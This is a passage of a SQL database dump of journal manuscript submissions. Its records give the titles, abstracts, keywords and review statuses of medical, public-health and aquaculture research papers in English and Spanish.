aOR 0.39, 95% CI 0.14-1.08; reference: PaO2 60-99mmHg. The Kaplan-Meier survival curve for normoxia verses hyperoxia showed no significant difference for all-cause mortality. In the survivors verse non-survivors analysis, the PaO2 were (median, IQT) 199mmHg (111-329) and 165mmHg (84-252), respectively. \r\n\r\nConclusion:\r\nHyperoxia (PaO2 >100mmHg) was not associated with increased mortality or poor neurological outcomes (determined by GOS) in moderate-severe TBI patients\r\n','Hyperoxia, Traumatic Brain Injury, Mortality, Neurological outcomes, Intensive care, Mechanical Ventilator',340,NULL,'2021-02-02',NULL,'Submitted',2,NULL,'2021-03-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7279,8549,86,0,'ipaom-21-7279','Nasocardiac reflex: A rare potentially fatal complication of a common procedure',NULL,2,0,'','The nasocardiac reflex is a little known reaction of nasomucosal origin. The nasocardiac reflex itself may lead to severe bradycardia or can even result in cardiac arrest following irritation or stimulation of the nerves in the nasal cavities or paranasal sinuses. We highlight an event whereby nasocardiac reflex was observed in a aptient duirng a common examination, which was the nasoendoscopy, manifesting as bradycardia and hypotension. After resusscitation, the vital signs improved. He was closely monitored in the ward and able to discharged home well on the same day after eight-hour of monitoring. ','Nasocardiac; Reflex; Nasoendoscopy; Bradycardia',4676,NULL,'2021-02-02',NULL,'Submitted',2,NULL,'2021-03-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7283,8249,277,0,'ipadm-21-7283','EFECTOS POR LA INTOXICACIÓN DE MERCURIO EN EL SISTEMA OSTEOMUSCULAR',NULL,5,0,NULL,'A nivel del sistema osteomuscular, teniendo en cuenta que aquí se acumula un 44% del mercurio total que ingresa a nuestro cuerpo y un 54% del metilmercurio, se ha reportado formación de granulomas asintomáticos, datos de celulitis con presencia de dolor y eritema en el sitio afectado o formación de abscesos y necrosis, que frecuentemente se presentan sin sintomatología sistémica.','MERCURIO\r\nSISTEMA OSTEOMUSCULAR\r\nINTOXICACION',2805,NULL,'2021-02-02',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7286,8556,639,0,'ipfs-21-7286','Molecular expression of growth hormone (GH) during initial ontogeny in lepisosteidae',NULL,16,0,NULL,'The expression of hormones represents one of the fundamental molecular tools for understanding digestive physiology and early development in freshwater fish larvae (Ronnestad et al., 2013); in this sense, growth hormone (GH) is a well conserved hormone and is expressed mainly in the anterior pituitary gland of all vertebrates and is responsible for exponential growth (Agnés et al. 2005). Although the growth promoting effect of GH is well known, fish growth is multifactorial and GH may act at different levels (Mommsen 2001).','Molecular tools, Growth hormone, Lepisosteus oculatus, pituitary gland',1770,NULL,'2021-02-03',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','    ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7290,8562,277,0,'ipadm-21-7290','Enfoque estratégico para la atención de la pandemia por Sars-CoV-2 en un hospital en Colombia   ',NULL,16,0,'','Abstract \r\nIntroducción\r\nEl carácter de emergencia de una pandemia implica un crecimiento acelerado de la capacidad instalada para la atención de pacientes en los hospitales. El departamento de Antioquia en Colombia no cuenta con suficiente infraestructura hospitalaria para atender la excesiva demanda que se podría generar. El Hospital Manuel Uribe Ángel de Envigado (HMUA) hace una planeación estratégica para lograr la atención médica que será requerida durante la pandemia de Sars-CoV 2.\r\n\r\nMétodos\r\nSistematización de la experiencia del Hospital MUA en la preparación de la pandemia de Sars-cov2, esta es realizada en 4 fases entre los meses de febrero a noviembre de 2020.   \r\n\r\nResultados\r\nSe logra para el momento de la llegada de la Pandemia a Colombia, tener un crecimiento de capacidad instalada en el área de urgencias del 40%, en el área de cuidados intensivos de 142% y adecuación de 68 unidades hospitalarias para atender este tipo de pacientes. Conservamos los estándares de calidad y se hizo gestión del riesgo de contagio.  Los resultados de mortalidad en cuidados Intensivos en la institución fueron más bajos que los reportados a nivel regional y mundial.   \r\n\r\n\r\n\r\nConclusiones\r\nUn plan estratégico de respuesta al Covid-19 y la adecuada gestión del riesgo de contagio, permitieron ampliar la capacidad instalada, para enfrentar con estándares de calidad la emergencia sanitaria.  Este artículo pretende ser una guía para un futuro en donde se evidencien las medidas que se tomaron en la preparación de una institución de tercer nivel para la atención de la pandemia del año 2020.  \r\n \r\n\r\n','Palabras clave: Salud Pública, Pandemia, COVID-19, SARS-CoV2, Preparación',2805,NULL,'2021-02-03',NULL,'Submitted',4,NULL,'2021-05-31',NULL,1,1,'0','Revise',0,'','',NULL,0,0,0,NULL,0),(7291,8564,86,0,'ipaom-21-7291','Kinematic analysis of different spinal and hip regions during the performance of a sagittal object-lifting task in asymptomatic peoples',NULL,14,0,'','Objectives \r\nThis study examines if modeling the cephalocaudal regions into four separate regions reveals different kinematic patterns of spinal motion in relation to hip motion when lifting an object (a 5 kg dumbbell) from the ground to an upright position. \r\n\r\nMaterials & Methods \r\nThirty-two male participants (mean age = 28.2 ± 4.2 years; weight = 74.4 ± 11 kg; height = 1.70 ± 0.04 meters) agreed to participate in this study. The cephalocaudal region of the spine was divided into four distinct regions of the spine (Head-Cervical, Thoracic, Upper-Lumbar and Lower-Lumbar) to obtain their range of motions and velocities against the hip region during a sagittal object-lifting task. A six tri-axial accelerometer sensors system was placed on six different points: the forehead; the spinous process of Thoracic1; spinous process of Thoracic 3; spinous process of Thoracic12; Sacral 1; and the middle aspect of the thigh. \r\n\r\nResults\r\nThere were significant differences in the range of motions between each of the five anatomical regions (p<0.001) during an object-lifting task. Additionally, there were significant differences with regard to positive and negative velocity between upper lumbar vs hip or upper lumbar vs lower lumbar or thoracic vs hip or head-Cervical vs hip or head-Cervical vs upper lumbar or head-Cervical vs hip or lower lumbar vsd hip. The hip region produced the most kinematic motion and velocity followed by the Lower-Lumbar and Upper-Lumbar during the functional lifting task. There were significant correlations found between Head-Cervical and Lower-Lumbar, Head-Cervical and hip, Thoracic and Upper-Lumbar, Thoracic and hip, Upper-Lumbar and Lower-Lumbar, and Lower-Lumbar and hip during both range of motion and velocity analysis. \r\n\r\nConclusion\r\nThe results of this study demonstrate differences in the contribution of five anatomical regions during a functional lifting task. Hip and Lower-Lumbar and Upper-Lumbar made up the most significant proportion of total kinematic motions and velocity during the functional lifting task. \r\n',' spine, range of motion, velocity, hip, cephalocaudal, sagittal object-lifting.',4679,NULL,'2021-02-03',NULL,'Submitted',2,NULL,'2021-02-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7300,8576,45,0,'iphsj-21-7300','EFFECTS OF DISINFECTION ON ORTHODONTIC PLASTER MODELS',NULL,7,0,'','Background and Aims: The purpose of this study was to evaluate the effects of disinfection and different brands of alginate impression material on the accuracy of orthodontic stone models.\r\n\r\nMaterials and Methods: Six different alginate impression materials and four different disinfectants were included in the study. A total of 168 impressions were taken and divided into 24 groups. Fifty-six impressions taken with extended pour-type alginates were kept in sealed plastic bags for four days and then poured. One hundred and twelve impressions were poured immediately after the disinfection process. A 3-D laser scanner was used for dimensional measurements on the vestibule surface area, while the mesial–distal width of the right upper molar was measured with screen caliper software.\r\n\r\nResults: This study showed that the contraction of models varied significantly depending on the alginate material and disinfectant. Evaluation of the upper first molar showed that molar contraction varied between 1.2 and 3.2% in dimension. According to molar data, the best accuracy was obtained from Blueprint-Zeta, while the worst was obtained from the Hydrogum Ext Pour–NaOCl alginate–disinfectant combination. Two-way ANOVA of data from the vestibule surface area showed significant results for all pairwise comparisons of alginate and disinfectant materials and their interactions. According to the results of the two-way ANOVA, the best accuracy was obtained from Hydrogum and Blueprint alginates with Unident disinfectant. The worst accuracy was obtained from Hydrogum Ext Pour alginate with Zeta disinfectant.\r\n\r\nConclusions: The dimensions of stone models produced from disinfectant-treated alginate impression materials demonstrate various degrees of contraction.\r\n','Keywords: Alginate, Disinfection, Orthodontic Stone Models, 3-D Scanning',4076,NULL,'2021-02-04',NULL,'Submitted',2,NULL,'2021-02-26',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7305,8580,45,0,'iphsj-21-7305','Circulating Microparticles: a risk factor for recurrent abortion at The University Teaching Hospital, Lusaka, Zambia.',NULL,2,0,'','Background: Circulating microparticles are minute particles associated with prothrombotic nature found to be increased in the uteroplacental circulation in pregnancy, as such microparticles may be directly or indirectly associated with pregnancy loss. With abortion cases accounting for approximately 80% of cases at the Obstetrics and Gynaecology emergency ward at The University Teaching Hospital, this study aimed to determine if circulating microparticles are associated with the risk of recurrent abortion.\r\nMethods: A case-control study enrolled 18 women with two or more recurrent abortions and 55 parous women as controls. After counselling performed by a trained mid-wife, a blood sample was collected in a citrated container and platelet poor plasma isolated. Microparticles were measured by flow cytometry using fluorescent annexin V-fluorescence isothiocyanate conjugate.\r\nResults: Increased microparticle levels was defined as more than 2 standard deviation above the mean of controls. The mean found was 202/μl in 4 of the 18 women with recurrent abortions (22%), as opposed to 2 of the 55 parous women (4%), t(20)=2.49, P=0.022, 95% CI 182.20-16.09.\r\nConclusions: The increased microparticles levels in women with recurrent abortions supports emerging evidence that microparticles have a role to play in abortion.\r\n','Circulating Microparticles, Recurrent Abortion, Women',643,NULL,'2021-02-05',NULL,'Submitted',2,NULL,'2021-02-24',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7306,8581,45,0,'iphsj-21-7306','Application of Machine learning in long term healthcare cost prediction in Rwanda',NULL,14,0,'','Through the years, health expenditures have been increasing among developed and developing countries. Specifically, total health expenditure in Rwanda has experienced an increasing trend, for example, the total health expenditure in Rwanda was 282929; 329526 and 324385 million Rwandan francs in 2016; 2017, and 2018 respectively and the rise in healthcare expenditures need a rational and equity management to better provide health services efficiently and effectively. The ARIMA model has been the preferred model to forecast health expenditures for decades which later have been criticized to not capture the non-linear behavior in data. Moreover, two decades ago, the artificial neural networks (ANNs) models have got attention and improved the forecasting accuracy. However, It has been found that each of the two models has weaknesses when linear and nonlinear behaviors are in the data, thus each of the ARIMA and ANN is no longer appropriate to model the series. Since the ARIMA model only performs better in capturing linear behavior and ANN is good in capturing non-linear behavior in data. It is with this background that, we proposed a hybrid model, which differs in combining the advantages of ARIMA and ANNs in capturing the linear and non-linear relationship in data. The ARIMA-ANNs model was tested on sets of health expenditure actual data. Our results showed the effectiveness of the hybrid model which has a higher prediction accuracy as compared to the existing models. \r\nThe empirical results from all of the three models considered in this study showed that from 2006 looking forward to 2027, there will be an increasing trend of health expenditure. The results showed that the forecasted values of health expenditure by ARIMA models will be 557,299.97 million Rwandan francs in 2027. While using the ANNs models, the forecasted values are 555,090.65 million Rwandan francs in 2027 And, the ARIMA-ANN models forecasted values in 2027 are 552,881.33 million Rwandan francs. This study recommends the use of the ARIMA-ANN hybrid while modeling the health expenditure.','ARIMA; Box–Jenkins methodology; artificial neural networks; time series forecasting; combined forecast',4076,NULL,'2021-02-05',NULL,'Submitted',16,NULL,'2021-02-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7311,8586,45,0,'iphsj-21-7311','The Cost of Caring: ICU workload stressors and the Saudi Arabian nurse',NULL,14,0,'','Abstract\r\nPurpose: The purpose of this paper is to share insights, research findings and discuss key issues related to workload factors and their influence on the wellbeing of ICU nurses working in a Saudi Arabian hospital. \r\nDesign/Methodology/approach: The authors used a mixed-method approach and using a convergent parallel mixed methods design which included separate analysis of the quantitative and the qualitative data, which were collected separately. Within this mixed methods design, the two different types of the data were synthesized for a deeper understanding of the current topic.\r\n his paper will focus on the qualitative dataset of the study. A purposive, non-probability sampling strategy was used to recruit nurses to participate in the semi-structured interviews about their workplace experiences. All consenting registered nurses, with a current and valid Saudi Council Registration, who were able to speak English, were included in the study. Tesch’s method of data analysis was used to code and categorize data to construct a shared understanding reflective of the experiences of participants and the researcher as both constructing the meanings given.\r\nFindings: The findings from the study were aligned to the JDR Model and provided evidence that ICU nurses experienced various workload factors influencing their wellbeing and productivity. These high job demands lead to strain and health impairment, associated with decreased job satisfaction amongst staff working in the ICUs of Saudi Arabian hospitals. The researcher was therefore able to propose and develop guidelines for the implementation of a comprehensive managerial framework that explicated workload factors and its influence on well-being among the ICU nurses. \r\nResearch limitations/implications: The limitation that was faced by the researcher was the timeline for conducting the current research, which was governed by the University’s policies and protocol. The recruitment of participants included ICU nurses within a group of critical care units of one hospital and excluded nurse managers. This could potentially limit the generalizability of the findings to managers at other clinical areas in the hospital regarding their perceptions of the workload and well-being among nurses in general. Despite some of these limitations, the following conclusions could be drawn and recommendations made based on these conclusions.\r\nPractical Implications: Healthcare organisation across the globe is challenged to achieve nurse workforce stability, safety, and well-being. It was evident that the participants experienced many workload challenges that influenced their wellbeing within the various ICUs. This study sets out the key messages for health care managers to empower and to meet the needs of ICU nurse related to health and well-being. The findings formed the foundation for management contribution to provide improved and seamless support to the health and well-being of ICU nurses. This approach is a guide to support the nurses to work collaboratively with all key professionals and stakeholders to deliver improved quality of life and health outcomes for both the nurses and the patients under their care.\r\nOriginality/ value: This paper explores the various dimensions of workload factors as experienced by Saudi Arabian ICU nurses and its influence on their wellbeing. The authors were able to explore these dimensions from a national and international perspective within a  from diverse and multicultural population base.\r\nKeywords: Workload; Wellbeing; Nurses; Intensive Care Unit; Job Demand Resource Model; Saudi Arabia. \r\nPaper Type: Research Paper\r\n','workload\r\nwellbeing\r\nICU\r\nNurse\r\nJob demand resource model',4076,NULL,'2021-02-05',NULL,'Submitted',2,NULL,'2021-03-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7314,8589,251,0,'ipacm-21-7314','Etiology and Antimicrobial Susceptibility Pattern of Uropathogens in Children and Adolescents in a Tertiary Hospital: Moving from the Known to the Unknown',NULL,14,0,'','Background: Urinary tract infection is a frequent health problem in children and an important cause of morbidity and mortality, with the highest rate seen in the first 2 years of life. Management of a patient with urinary tract infection depends on good knowledge of the causative agents and local antimicrobial susceptibility patterns. This study was designed with the aim to investigate the aetiology and antimicrobial susceptibility pattern of uropathogens in children and adolescents at the University of Nigeria Teaching Hospital, Ituku-Ozalla Enugu. \\r\\nMethods and findings: This was a hospital-based cross-sectional study conducted in Department of Medical Microbiology, University of Nigeria Teaching Hospital, Ituku-Ozalla Enugu. The laboratory records of all the  mid-stream urine samples of children and adolescents analyzed from 2014 to 2019 were reviewed. Urine sample results from neonates were excluded. Information extracted from the records included: age, sex, date of submission of urine samples, provisional diagnosis, microbial isolates and their susceptibility patterns to various antibiotics. Analysis was done using descriptive and inferential statistics. \\r\\nOf 2199 urine samples that were analyzed, 650 (29.9%) yielded significant bacteriuria with females accounting for more than half (363/650: 55.8%) of the cases; (χ^2  = 4.204; P = 0.040). Isolated organisms were mostly Gram negative bacilli predominantly E.coli (346/650; 53.2%); occurring more in females (220/650; 33.8%) than males (126/650; 19.4%); (χ^2 = 13.009; P < 0.001). The least isolated Gram negative organisms was Pseudomonas aeruginosa seen in 20/650 (3.1%) of the urine samples The Gram positives cocci isolated were Staphylococcus aureus (59/650; 9.1%) and Streptococcus species (12/650; 1.9%). Candida spp was also isolated in 32/650; 4.9% of the urine samples. Most of the isolated organisms showed very high resistance to ampicillin and cotrimoxazole. Moderate resistances were seen with nitrofurantoin, cephalosporins, amoxicillin-clavulanic acid and quinolones. The least resistances were shown with carbapenems piperacillin/tazobactam, linezolid and cefoxitin.\\r\\nConclusions: The resistance pattern of organisms causing urinary tract infections in children and adolescents to common antibiotics as highlighted in this study is worrisome. Facility specific guideline for antibiotics therapy is urgently advocated for better management of the patients and to ensure good antibiotics stewardship in line with universally accepted standards. \\r\\n','Adolescents; Antimicrobial susceptibility; Aetiology; Children; Urinary tract infection; Resistance',780,NULL,'2021-02-05',NULL,'Submitted',2,NULL,'2021-03-10',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7319,8594,45,0,'iphsj-21-7319','Adverse maternal outcomes of advanced maternal age pregnancy in Northwest Ethiopia 2020: Comparative Cross Sectional Study',NULL,14,0,'','Objective: advanced maternal age is a substantial risk for different adverse maternal outcomes, responsible for maternal morbidity and mortality. Despite these adverse maternal outcomes of advanced maternal age pregnancy, the research focus given to maternal outcomes of these populations is limited specifically, no study was done in the study area. Therefore, this comparative cross-sectional study was conducted in Awi Zone public hospitals, Northwest Ethiopia to compare adverse maternal outcomes among adult and advanced maternal aged pregnancy. Systematic random sampling was employed to select 447 women. Data were analyzed using SPSS version 25. \r\nResult: The odds of gestational diabetic melitus (AOR=4.36, 95% CI: 1.18, 6.14), severe preeclampsia (AOR=2.42, 95% CI: 1.30, 4.50), antepartum hemorrhage (AOR=3.10, 95% CI: 1.47, 6.54) and cesarean dealivery (AOR=3.07, 95% CI: 1.52, 6.19) were significantly higher among advanced aged women. Women at advanced aged had a higher risk of adverse maternal outcomes when compared to adult aged women. Therefore, counseling to have child in adult aged period, provision of quality family planning and perinatal care should be addressed.\r\n','Advanced maternal age pregnancy: adverse maternal outcomes: Ethiopia',685,NULL,'2021-02-07',NULL,'Submitted',2,NULL,'2021-03-02',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7322,8597,277,0,'ipadm-21-7322','SÍNDROME METABÓLICO EN ADULTOS: CARACTERÍSTICAS CLÍNICO EPIDEMIOLÓGICAS Y SUS ALTERNATIVAS DIAGNOSTICAS Y TERAPÉUTICAS DISPONIBLES EN LA ACTUALIDAD. UNA REVISION SISTEMATICA',NULL,15,0,'','El síndrome metabólico (SM) es una serie de desórdenes o anormalidades metabólicas que en conjunto son considerados factores de riesgos en un mismo individuo, para desarrollar diabetes y enfermedad cardiovascular; es por ello, que se caracteriza por la aparición en forma simultánea o secuencial de la obesidad central, dislipidemias, anormalidades en el metabolismo de la glucosa e hipertensión arterial, estrechamente asociado a resistencia a la insulina, la  cual ha sido considerada como base del desarrollo del conjunto de  anormalidades que lo conforman, sugiriendo a la obesidad abdominal o central como responsable del desarrollo de la insulinoresistencia; De tal manera, que las adipoquinas producidas por el tejido adiposo abdominal actuarían directa o indirectamente en el desarrollo de los componentes del síndrome, aunque su etiología exacta no está clara, se conoce que existe una compleja interacción entre factores genéticos, metabólicos y ambientales (3) \r\nLa prevalencia del síndrome metabólico varía dependiendo de diferentes características como, la edad, el sexo, el origen étnico y el estilo de vida. Según criterios de la OMS, esta prevalencia varía del 1,6 al 15% en dependencia de la población, pero en términos generales se estima que entre el 20 y el 25% de la población adulta del mundo, padecen este síndrome y que tienen el doble de probabilidades de morir y tres veces más de sufrir un ataque cardíaco o un accidente cerebrovascular con respecto a personas que no presentan este conjunto de alteraciones \r\n','síndrome metabólico, revisión, adultos',2805,NULL,'2021-02-07',NULL,'Submitted',4,NULL,'2021-03-11',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7323,8597,277,0,'ipadm-21-7323','LIPOPROTEÍNA LIPASA Y SU PARTICIPACIÓN EN ENFERMEDADES CARDIOVASCULARES',NULL,5,0,NULL,'Las enfermedades cardiovasculares (ECV) son en la actualidad la principal causa de muerte en el mundo, ya que no solo disminuyen la esperanza de vida al nacer, sino que también reducen los años de vida saludables, generando importantes costos a los sistemas de salud y a quienes la padecen. Dado que la elevada prevalencia de estas patologías estaría fundamentalmente asociadas a condiciones de vida definidas como no saludables, principalmente al sedentarismo, malnutrición y tabaquismo.\r\nLa lipoproteína lipasa (LPL) es una enzima que participa en el metabolismo y transporte de las lipoproteínas, a través de la hidrolisis de los triglicéridos presentes en los quilomicrones y las lipoproteínas de muy baja densidad (C-VLDL), generando ácidos grasos libres y glicerol utilizado para el almacenamiento energético. La disminución de la actividad de la LPL influye en los niveles lipídicos, causando hipertrigliceridemia e hipercolesterolemia generalmente acompañado de bajos niveles de C-HDL.','LIPOPROTEINA LIPASA\r\nENFERMEDADES CARDIOVASCULARES\r\nPOLIMORFISMO HINDlll',2805,NULL,'2021-02-07',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7332,8605,277,0,'ipadm-21-7332','SÍNDROME METABÓLICO EN ADULTOS: CARACTERÍSTICAS CLÍNICO EPIDEMIOLÓGICAS Y SUS ALTERNATIVAS DIAGNOSTICAS Y TERAPÉUTICAS. UNA REVISION SISTEMATICA',NULL,15,0,NULL,'El síndrome metabólico (SM) es una serie de desórdenes o anormalidades metabólicas que en conjunto son considerados factores de riesgos en un mismo individuo, para desarrollar diabetes y enfermedad cardiovascular; es por ello, que se caracteriza por la aparición en forma simultánea o secuencial de la obesidad central, dislipidemias, anormalidades en el metabolismo de la glucosa e hipertensión arterial, estrechamente asociado a resistencia a la insulina, la  cual ha sido considerada como base del desarrollo del conjunto de  anormalidades que lo conforman, sugiriendo a la obesidad abdominal o central como responsable del desarrollo de la insulinoresistencia; De tal manera, que las adipoquinas producidas por el tejido adiposo abdominal actuarían directa o indirectamente en el desarrollo de los componentes del síndrome, aunque su etiología exacta no está clara, se conoce que existe una compleja interacción entre factores genéticos, metabólicos y ambientales','síndrome metabólico, revisión, adultos.',2805,NULL,'2021-02-08',NULL,'Submitted',2,NULL,'2021-03-11',NULL,1,1,'0','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7334,8607,639,0,'ipfs-21-7334','Managing Fishponds to Climate-Proof the Mai Po Inner Deep Bay Ramsar Site, and Implications For The East Asian-Australasian Flyway. A Mini Review.',NULL,16,0,NULL,'Coastal wetlands are important stepping stones and wintering sites for migratory birds along the East Asian-Australasian Flyway (EAAF). But wetlands are being extensively converted throughout Southeast and East Asia, and continued loss can disrupt the long-distance migrations, and result in species population declines and extirpations. Wetlands are also under threat from global climate change; sea level rise can inundate coastal wetlands, and the two forces of coastal development and climate change can subject the remaining wetlands to coastal squeeze. Therefore important wetlands along the flyway should be assessed for the impacts of climate change to implement proactive climate adaptation strategies. The Mai Po Inner Deep Bay Ramsar site in Hong Kong is an important staging and wintering site along the EAAF. A climate model for this wetland showed that by 2100 some of the wetlands and mudflats used by migratory birds could become inundated. In the future, under climate change scenarios, fishponds further inland, now within the ‘wise-use’ compartment of the Ramsar site, could represent supratidal wetlands for migratory birds. Therefore, these fishponds should be maintained and managed without the threat of conversion by providing economic incentives for fishpond operators. This analysis represents a case study for climate proofing the EAAF by engaging fishpond owners and operators for sustained management of coastal fishponds as an integrated approach for wetland management that includes aquaculture, sustainable livelihoods, bird habitat conservation, and climate-proofing coastal areas.','Mai Po, Ramsar, Hong Kong, migratory birds, East Asian-Australasian Flyway,  waterbirds',1770,NULL,'2021-02-09',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7338,8405,639,0,'ipfs-21-7338','Editorial on Aquaculture',NULL,16,0,NULL,'Aquaculture is rearing, raising, and gathering fish, shellfish, and oceanic plants. Basically, it\'s developing in water. Under ocean aquaculture is an environment dependable source of food and commercial products, assists with making better living spaces and is utilized to modify supplies of threatened or endangered species.','Aquaculture, Sea food, Market',1776,NULL,'2021-02-09',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(7340,8612,86,0,NULL,'Anaphylaxis following rivaroxaban ingestion: A first case report ',NULL,2,0,NULL,'We reported an anaphylactic reaction following ingestion of rivaroxaban in a 48-years-old male, who was recently discharged from the hospital as a case of deep vein thrombosis. At home, the patient developed a diffuse itchy skin rash, shortness of breath, and vomiting 30 minutes after rivaroxaban ingestion. Emergency Medical Service found that the patient had severe dyspnea, low blood pressure, and decreased blood oxygen saturation. The patient was given oxygen, intramuscular epinephrine, intravenous hydrocortisone, diphenhydramine, salbutamol nebulizer, and was immediately transferred to the emergency department of Hamad General Hospital. Subcutaneous enoxaparin was initiated, while hydrocortisone and salbutamol nebulizer continued. On the next day, his vital signs had stabilized, and intravenous hydrocortisone was switched to prednisolone tablets, and salbutamol nebulizer was switched to budesonide/salmeterol inhaler, whereas enoxaparin was overlapped with warfarin. After achieving the target international normalized ratio (INR), enoxaparin was discontinued and the patient was discharged with significant clinical and laboratory improvement.','Rivaroxaban; anaphylactic reaction; enoxaparin; deep vein thrombosis',2890,NULL,'2021-02-09',NULL,'Submitted',4,NULL,'2021-02-15',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7345,8619,639,0,'ipfs-21-7345','EVALUATION OF THE AMELIORATIVE ROLES OF VITAMINS A, C AND E ON MALONDIALDEHYDE PRODUCTION IN CLARIAS GARIEPINUS (BURCHELL, 1822) FINGERLINGS EXPOSED TO CAMIUM CHLORIDE',NULL,14,0,'','The anthropogenic activities culminating in environmental pollution all over the world that usually leads to release of plethora of pollutants such as cadmium calls for concern. In the present study the effects of cadmium chloride on the production of antioxidants such as malondialdehyde (MDA) in C. gariepinus and how such effects can be ameliorated through administration of vitamins were investigated. C. gariepinus fingerlings (whose initial weight ranged from 3-11g) were exposed to sub-lethal concentrations of Cd (00, 12mg/L, 16mg/L, 20mg/L and 24mg/L) with replicate in each case. Minimum concentration of the toxicant was taken as the concentration for each of the vitamins and administered across all bud. Fresh concentrations of both toxicant and vitamins were administered every 72 hours for a period of 12 weeks every time the water medium was changed. The various treatments group include Cd (Cd only with T1-T4 and replicates), CdVA (Cd+vitamin A with T1-T4 and replicates), CdVC (Cd+vitamin C with T1-T4 and replicates) and CdVE (Cd+vitamin E with T1-T4 and replicates). 3 samples of the fish were randomly selected and sacrificed from each aquarium tank every 2 weeks of the exposure period. The gills, kidneys and liver were excised from these specimens and homogenized in sodium phosphate buffer. From the results: samples exposed to Cd only group, the MDA production levels in the liver were generally low. The T2 and T3 mean values in the 6th and 10th weeks of exposure, respectively are significantly higher than other treatments including the control. The control mean values in the 8th week of exposure are significantly higher than other treatments. The highest mean value of MDA in the liver was 40.17±0.05nM/mg obtained in T3 at the end of the 2nd week of exposure. In the kidney, the control mean values in the 2nd, 4th, 8th and 10th weeks of exposure, respectively are significantly higher than other treatments. The T4 mean values in the 6th week of exposure are significantly higher than other treatments. The highest MDA mean value in this regard, was 40.05±0.03nM/mg obtained in T4 at the end of the 6th week of exposure. The control mean values in the gill of the samples are significantly higher than other treatments in the 2nd week of exposure. The T3 and T1 mean values in the 4th and 6th weeks of exposure, respectively are significantly higher than other treatments. The highest mean value of MDA in the gill was 34.98±0.02nM/mg obtained in T1 at the end of the 6th week of exposure. In the samples exposed to CdVA, MDA production levels in the liver were generally low. The T3 mean values in the 6th and 8th weeks of exposure, respectively are significantly higher than other treatments.  The highest mean value of MDA in the liver was 39.52±0.05nM/mg obtained in T3 at the end of the 6th week of exposure. The T2 and T3 mean values in the 2nd and 4th weeks of exposure, respectively are significantly higher than other treatments. The T3 mean values in the 8th week of exposure are significantly higher than other treatments. The highest MDA mean value in the kidney in this regard, was 41.23±0.34nM/mg obtained in T3 at the end of the 4th week of exposure. The T1 and T3 mean values in the gill of the samples are significantly higher than other treatments in the 2nd and 4th weeks of exposure, respectively. The highest mean value of MDA in the gill was 40.07±0.05nM/mg obtained in T3 at the end of the 4th week of exposure. From the samples exposed to CdVC, MDA production levels in the liver indicated that T1 and T2 mean values, respectively are significantly higher than other treatments in the 2nd and 4th weeks of exposure.  The T1 and T2 in the 10th and 12th weeks of exposure, respectively are significantly higher than other treatments. The highest mean value of MDA in the liver was 40.03±0.05nM/mg obtained in T4 at the end of the 6th week of exposure. The kidney’s T1, T2 and T3 mean values in the 2nd, 4th and 6th weeks of exposure, respectively are significantly higher than other treatments. The T2 mean values in the 8th, 10th and 12th weeks of exposure, respectively are significantly higher than other treatments. The highest MDA mean value in this regard, was 36.67±0.03nM/mg obtained in T2 at the end of the 4th week of exposure. T1 and T2 mean values in the 10th and 12th weeks of exposure, respectively are significantly higher than other treatments. The highest mean value of MDA in the gill was 39.54±0.06nM/mg obtained in T1 at the end of the 10th week of exposure. From the results of the samples exposed CdVE, MDA production levels in the liver indicated that T1 mean values are significantly higher than other treatments in both 2nd and 4th weeks of exposure, respectively. The T2 and T3 mean values in the 6th and 8th weeks of exposure, respectively are significantly higher than other treatments. T2 mean values in the 10th and 12th weeks of exposure, respectively are significantly higher than other treatments. The highest mean value of MDA in the liver was 58.62±0.03nM/mg obtained in T2 at the end of the 6th week of exposure. The T1and T3 mean values in the 2nd and 4th weeks of exposure, respectively are significantly higher than other treatments. The T4 and T2 mean values in the 8th and 10th weeks of exposure, respectively are significantly higher than other treatments. The highest MDA mean value in this regard, was 39.17±0.03nM/mg obtained in T3 at the end of the 4th week of exposure. The T2 and T1 mean values in the gill of the samples are significantly higher than other treatments in the 2nd and 4th weeks of exposure, respectively. T2 mean values in both 10th and 12th weeks of exposure, respectively are significantly higher than other treatments. The highest mean value of MDA in the gill was 36.81±0.03nM/mg obtained in T2 at the end of the 2nd week of exposure. The fish samples exposed to the toxicant displayed slight variations in the treatment groups and in all the organs of interest except in the CdVE group where the highest production of the antioxidant was obtained in the liver in response to the effects of the toxicant. Higher concentrations of the vitamins could facilitate better understanding of the ameliorative roles of the vitamins.\r\n\r\n','Clarias gariepinus, MDA production level, Vitamin supplements, Ameliorative roles and Cd treatment groups.',1777,NULL,'2021-02-09',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(7348,6982,45,0,'iphsj-21-7348','STRENGTH TRAINING AS AN ASSISTANT TOOL IN THE PREVENTION OF FALLS IN ELDERLY SARCOPENICS: A REVIEW',NULL,14,0,NULL,'An elderly society has been growing gradually in Brazil and after retirement some tend to show levels of sedentary behavior index. In addition, the aging process creates a weakness in physical and emotional health, in addition to other things, the increase in the number of falls, caused by dysfunction and loss of muscle mass, called sarcopenia. Considering all the benefits of strength training for the most varied audiences and that the aging process is gradual and irreversible resulting in the development of sarcopenia that tends to worsen with 